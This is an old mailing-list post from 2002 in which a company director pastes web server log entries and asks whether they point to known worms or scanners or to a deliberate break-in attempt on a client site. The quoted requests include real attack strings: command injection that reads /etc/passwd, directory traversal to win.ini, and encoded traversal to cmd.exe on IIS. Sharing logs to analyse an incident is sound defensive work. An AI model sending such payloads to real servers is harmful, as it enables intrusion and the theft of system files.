A small quandary

From: Mahoney, Paul <paul(at)fiberstarr.com>
Date: Wed Dec 04 2002 - 23:30:08 EST

Hi all,

I have in my possession a log file that implicates a business acquaintance, who to say the least, might have the attitude to mount an offensive.

The log file contains many entries like:-

404

/cgi-bin/publisher/search.cgi?dir=jobs&template=;cat+/etc/passwd|&output
_number=10
/perl/ 1 -
/cgi-bin/test-cgi.bat?|ver 1 -
/scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir+c: 1 -
/cgi-bin/mrtg.cgi?cfg=/../../../../../../../../../winnt/win.ini 1 -
/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c:\\

My question to everyone out there is would anyone be able to tell me if this kind of attack has the fingerprints of any known software/viruses in the field or is it a deliberate attempt to gain access to my clients site?

Your thoughts are welcomed

Paul Mahoney
Director
FiberStarr Systems
www.fiberstarr.com

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